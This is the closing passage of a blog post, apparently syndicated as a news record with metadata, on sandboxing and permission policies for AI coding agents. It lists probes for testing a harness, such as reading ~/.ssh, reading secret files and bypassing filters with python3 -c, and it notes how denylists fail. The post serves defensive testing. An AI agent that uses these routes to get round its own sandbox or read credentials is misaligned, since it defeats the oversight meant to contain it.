builds, Developer ID signing, notarization, and Keychain access can’t run inside a Linux Docker container. For those projects, I rely on a macOS Seatbelt workspace boundary or run UI tests inside a dedicated macOS VM instead of forcing Linux containers where they don’t belong.\n- **Live OAuth and external API work** : Tasks that need live third-party OAuth flows or iterative calls to external APIs clash with an air-gapped`--network none` sandbox. Running them completely offline slows everything down, so a domain-allowlist proxy with scoped test credentials keeps things moving without opening the whole internet.\n- **Over-locking low-risk local repos** : Adding five manual confirmation steps per minute backfires fast. Every time I make a sandbox too painful for normal edits, the temptation to pass a “bypass all approvals” flag wins. A fast OS sandbox that stays on for every session protects you far more than a strict setup you keep turning off.\n\nStart by running the five probes from this post against whatever agent harness you use today. Check whether a shell command can write outside the repo, read `~/.ssh`, read a dummy secret file, bypass a filter with `python3 -c`, or hit `example.com` over HTTP.\n\nOnce you see `Operation not permitted` or `Read-only file system` come back from your own terminal, you’ll know where the real walls are.\n\nPair OS sandboxing with [prompt injection and jailbreaks](https://flaviocopes.com/prompt-injection-jailbreaks/) for the untrusted-input threat model, and [MCP vs direct API integrations](https://flaviocopes.com/mcp-vs-direct-api/) for keeping credentials out of shared shell environments.\n\nWant me to talk about your product? You can [sponsor this site](https://flaviocopes.com/sponsor/).", "url": "https://wpnews.pro/news/sandboxing-and-permission-policies-for-ai-coding-agents", "canonical_source": "https://flaviocopes.com/agent-sandboxing-permissions/", "published_at": "2026-12-06 08:00:00+00:00", "updated_at": "2026-12-06 08:15:14.340317+00:00", "lang": "en", "topics": ["ai-agents", "ai-safety", "developer-tools"], "entities": ["Flavio", "macOS Seatbelt", "Docker", "npm", "git"], "also_reported_by": [], "takeaway": "Approval prompts and regex denylists do not contain a coding agent, since `npm test` or `git diff` can execute arbitrary code from `package.json`, `node_modules`, and `.git/config`; pair harness permission modes with a kernel-level sandbox such as macOS Seatbelt or hardened Docker 29.1.3.", "recommendation": {"advice": "Reserve approval prompts for rare high-consequence actions like deploys and migrations, and run routine build and test commands inside an OS-level sandbox so they need no prompt.", "playbook": "agent-security", "playbook_url": "https://wpnews.pro/playbooks/agent-security"}, "alternates": {"html": "https://wpnews.pro/news/sandboxing-and-permission-policies-for-ai-coding-agents", "markdown": "https://wpnews.pro/news/sandboxing-and-permission-policies-for-ai-coding-agents.md", "text": "https://wpnews.pro/news/sandboxing-and-permission-policies-for-ai-coding-agents.txt", "jsonld": "https://wpnews.pro/news/sandboxing-and-permission-policies-for-ai-coding-agents.jsonld"}}